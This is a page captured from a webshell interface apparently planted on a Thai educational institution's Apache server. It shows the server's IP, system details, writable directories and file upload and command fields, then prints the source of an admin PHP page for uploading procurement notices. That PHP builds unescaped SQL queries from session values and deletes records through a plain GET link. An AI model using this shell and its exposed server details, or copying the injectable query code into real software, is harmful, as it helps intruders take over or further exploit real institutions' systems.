403Webshell
Server IP : 202.29.229.35  /  Your IP : 18.117.8.176
Web Server : Apache
System : Linux aapanel2 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User : www ( 1001)
PHP Version : 5.5.38
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/www.ivecr2.ac.th/system_admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/www.ivecr2.ac.th/system_admin/Procure.php
<?php 
session_start();
if($_SESSION['r_statuslogin'] != 1){
 echo '<script language="javascript">alert("สำหรับผู้ดูแลระบบเท่านั้น")</script>';
 echo'<meta http-equiv="refresh" content="0;url=../index.php">';
 exit();
}

		  			include('connect/connect.php');
					//include('connect/function.php');

					$wrokID=$_SESSION['r_workId'];
					$adminid=$_SESSION['r_adID'];
					//echo "---++".$wrokID;
					$queryperlogin = "select * from tbl_datatecher1 where tecNumber='$adminid' ";
					$resultperlogin=mysql_query($queryperlogin,$connect2);
					$rsperteclogin=mysql_fetch_array($resultperlogin);
					
					$tecPrefixThailogin=$rsperteclogin['tecPrefixThai'];//คำนำหน้าชื่อ
					$selectworklogin = $rsperteclogin['selectwork'];//กลุ่มงาน
					//คำนำหน้าชื่อ
					$sqlpflogin="select * from ref_prefix_name where PREFIX_NAME_ID=$tecPrefixThai";
					$resulpflogin=mysql_query($sqlpflogin,$connect2);
					$rspflogin=mysql_fetch_array($resulpflogin);
					$tecPrefixThaiorilogin=$rspflogin['FULLNAME'];
					
					//ชื่อกลุ่มงาน
						$sqlworklogin="select * from tbl_departmentall where daNodpt='$selectworklogin' ";
						$resqlworklogin=mysql_query($sqlworklogin);
						$rsworklogin=mysql_fetch_array($resqlworklogin);
						$worknamelogin = $rsworklogin['daFname'];
						
   						$tecnamelogin=$tecPrefixThaiorilogin."&nbsp;".$rsperteclogin['tecFnameThai']."&nbsp;&nbsp;".$tecLnamelogin=$rsperteclogin['tecLnameThai']." (".$worknamelogin.")";
?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="stylesheet" type="text/css" href="style.css" />

	<link rel="stylesheet" type="text/css" href="datetimepicker/jquery_ui_datepicker/timepicker_plug/css/style.css">
	<link rel="stylesheet" type="text/css" href="datetimepicker/jquery_ui_datepicker/smothness/jquery_ui_datepicker.css">
    
	<script src="datetimepicker/jquery13/jquery-1.3.2.min.js" type="text/javascript"></script>
	<script src="datetimepicker/jquery_ui_datepicker/jquery_ui_datepicker.js" type="text/javascript"></script>
	<script src="datetimepicker/jquery_ui_datepicker/i18n/ui.datepicker-de.js" type="text/javascript"></script>
	<script src="datetimepicker/jquery_ui_datepicker/timepicker_plug/timepicker.js" type="text/javascript"></script>
	<script src="SpryAssets/SpryValidationTextField.js" type="text/javascript"></script>
	<script type="text/javascript">
		$(function() {
				  $('#time_start').datetime({
									userLang	: 'en',
									americanMode: true,
								});
				  $('#time_end').datetime({
									userLang	: 'en',
									americanMode: true,
								});	
				 $('#time_post').datetime({
									userLang	: 'en',
									americanMode: true,
								});						
				 $('#time_back').datetime({
									userLang	: 'en',
									americanMode: true,
								});					
			});
	</script>
<!------------นำเมาส์ชี้ที่่รูปแล้วเกิดภาพซ้อน------------------->
<style type="text/css"> 
 
/*Credits: Dynamic Drive CSS Library */
/*URL: http://www.dynamicdrive.com/style/ */
 
.thumbnail{
position: relative;
z-index: 0;
}
 
.thumbnail:hover{

background-color: transparent; 
z-index: 50;
}
 
.thumbnail span{ /*CSS for enlarged image*/
position: absolute;
background-color: lightyellow;/* สีขอบรูปใหญ่ */
padding: 5px; /*ขนาดเส้นกรอบ */
left: -1000px;
border: 1.5px dashed gray; /*ขนาดและสีเส้นปะ*/
visibility: hidden;
color: black;
text-decoration: none ;
}

 
.thumbnail span img{ /*CSS for enlarged image*/
border-width: 0;
padding: 2px;
}
 
.thumbnail:hover span{ /*CSS for enlarged image on hover*/
visibility: visible;
top: 0;
left: 60px; /*รูปเยื้องทางซ้าย*/
 
}
.style24 {color: #FFFFFF}
</style>

<!---------------------------->
<link href="SpryAssets/SpryValidationTextField.css" rel="stylesheet" type="text/css" />
<table width="500" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td align="left" valign="top">
    <form action="?i=insert_Procure" method="post" enctype="multipart/form-data" name="form1" id="form1">
      <table width="500" border="0" align="center" cellpadding="0" cellspacing="5">
        <tr>
          <td colspan="2" align="center" valign="top"><h1>.:: ฟอร์ม Upload File&nbsp;ประกวดราคาจัดซื้อจัดจ้าง ::.</h1></td>
        </tr>
        <tr>
          <td width="150" align="right" valign="top">หัวข้อเรื่องประกาศ : </td>
          <td width="350" align="left" valign="top"><label for="title"></label>
            <span id="sprytextfield1">
            <input name="title" type="text" id="title" size="50" maxlength="90" />
            <span class="textfieldRequiredMsg">พิมพ์ชื่อเรื่องประกาศจัดซื้อจัดจ้างด้วยครับ..</span></span></td>
        </tr>
        <tr>
          <td align="right" valign="top">ระยะเวลาการประกาศ :</td>
          <td align="left" valign="top">
          <input type="text" name="time_start" id="time_start" value="<?php echo date("Y-m-d H:i:s"); ?>" />
ถึง  <input type="text" name="time_end" id="time_end" value="<?php echo date("Y-m-d H:i:s"); ?>" /></td>
        </tr>
        <tr>
          <td width="150" align="right" valign="top">แนบไฟล์ : </td>
          <td width="350" align="left" valign="top"><input name="filedocument" type="file" id="filedocument" size="20" />
            <font color="#FF0000">*.pdf เท่านั้น</font></td>
        </tr>
        <tr>
          <td align="right" valign="top">ประกาศ ณ วันที่ :</td>
          <td align="left" valign="middle"><input type="text" name="time_post" id="time_post" value="<?php echo date("Y-m-d H:i:s"); ?>" /></td>
        </tr>
        <tr>
          <td align="right" valign="top">Upload File โดย : </td>
          <td align="left" valign="middle"><?php echo $tecnamelogin;?></td>
        </tr>
        <tr>
          <td width="150" align="right" valign="top">&nbsp;</td>
          <td width="350" align="left" valign="top">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;
            <input type="submit" name="Submit" value="บันทึก" />
            &nbsp;&nbsp;
            <input type="reset" name="Submit2" value="ยกเลิก" /></td>
        </tr>
      </table>
    </form></td>
  </tr>
</table>
<p align="center">&nbsp;</p>
<table width="800" border="0" align="center" cellpadding="0" cellspacing="1">
  <tr>
    <td width="20" height="28" align="center" valign="middle" bgcolor="#000000">&nbsp;</td>
    <td colspan="2" align="center" valign="middle" bgcolor="#000000"><font color="#CCCCCC">หัวข้อประกาศจัดซื้อจัดจ้าง</font></td>
    <td width="227" align="center" valign="middle" bgcolor="#000000"><font color="#CCCCCC">วันที่อัพไฟล์</font></td>
  </tr>
  <?php 

			
			        if($wrokID == 1 || $wrokID ==5){
					$sql="select * from tblprocure order by id desc";
					}else{
						$sql="select * from tblprocure where dp_ID='$adminid' order by id desc";
					}
					$result=mysql_query($sql,$connect1);
					$num=mysql_num_rows($result);
					
										
					while($rs=mysql_fetch_array($result)){
					$filedocument=$rs['file'];
					$date=displaydate($rs['date']);
					$file=$rs['file'];
					
					$wID=$rs['dp_ID'];
						
					$queryper = "select * from tbl_datatecher1 where tecNumber='$wID' ";
					//echo $queryper;
					$resultper=mysql_query($queryper,$connect2);
					$rspertec=mysql_fetch_array($resultper);
					
					$tecPrefixThai=$rspertec['tecPrefixThai'];//คำนำหน้าชื่อ
					$selectwork = $rspertec['selectwork'];//กลุ่มงาน
					//คำนำหน้าชื่อ
					$sqlpf="select * from ref_prefix_name where PREFIX_NAME_ID=$tecPrefixThai";
					$resulpf=mysql_query($sqlpf,$connect2);
					$rspf=mysql_fetch_array($resulpf);
					$tecPrefixThaiori=$rspf['FULLNAME'];
					
						//ชื่อกลุ่มงาน
						$sqlwork="select * from tbl_departmentall where daNodpt='$selectwork' ";
						$resqlwork=mysql_query($sqlwork);
						$rswork=mysql_fetch_array($resqlwork);
						$workname = $rswork['daFname'];
						
   						$workname=$tecPrefixThaiori."&nbsp;".$rspertec['tecFnameThai']."&nbsp;&nbsp;".$tecLname=$rspertec['tecLnameThai']." (".$workname.")";
						
					
						//------------------&iexcl;&Ograve;&Atilde;&Ecirc;&Aring;&Ntilde;&ordm;&Ecirc;&Otilde;&cent;&Iacute;&sect;&aacute;&para;&Ccedil;--------------------------------------
					if($bg == "#F5F5F5") { //&Ecirc;&egrave;&Ccedil;&sup1;&cent;&Iacute;&sect;&iexcl;&Ograve;&Atilde; &Ecirc;&Aring;&Ntilde;&ordm;&Ecirc;&Otilde; 
						$bg = "#FDFDFD";
					} else {
						$bg = "#F5F5F5";
					}
					
		  ?>
  <tr bgcolor="<?php echo $bg?>"  >
    <td width="20" align="center" valign="middle" bgcolor="<?php echo $bg?>"><img src="images/icon07.png" width="20" height="12" /></td>
    <td width="530" align="left" valign="middle" bgcolor="<?php echo $bg?>">&nbsp;&nbsp;
    	<a href="file_Procure/<?php echo $rs['file'];?>" target="_blank"> <?php if(date("Y-m-d") <= $rs['endDate']){ ?><font color="#000000"><?php echo $rs['title'];?></font><?php }else{?><font color= color="#FF0000"><?php echo $rs['title'];?></font><?php } ?></a>
    <br /> <font color="#0099FF" size="-2"><i>เขียนโดย : <?php echo $worknameuser." ".$worknameuserlname."(".$workname.")";?></i></font></td>
    <td width="18" align="center" valign="top" bgcolor="<?php echo $bg?>"><a href="index.php?i=delete_procure&&pid=<?php echo $rs['id'];?>"><img src="images/33333.jpg" width="18" height="16" border="0" /></a></td>
    <td width="227" align="left" valign="top" bgcolor="<?php echo $bg?>">เมื่อ :: <?php echo $date;?></td>
  </tr>
  <?php
	  /**/
							$num--;
				}
				
		  ?>
</table>
<p>&nbsp;</p>
<script type="text/javascript">
var sprytextfield1 = new Spry.Widget.ValidationTextField("sprytextfield1");
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit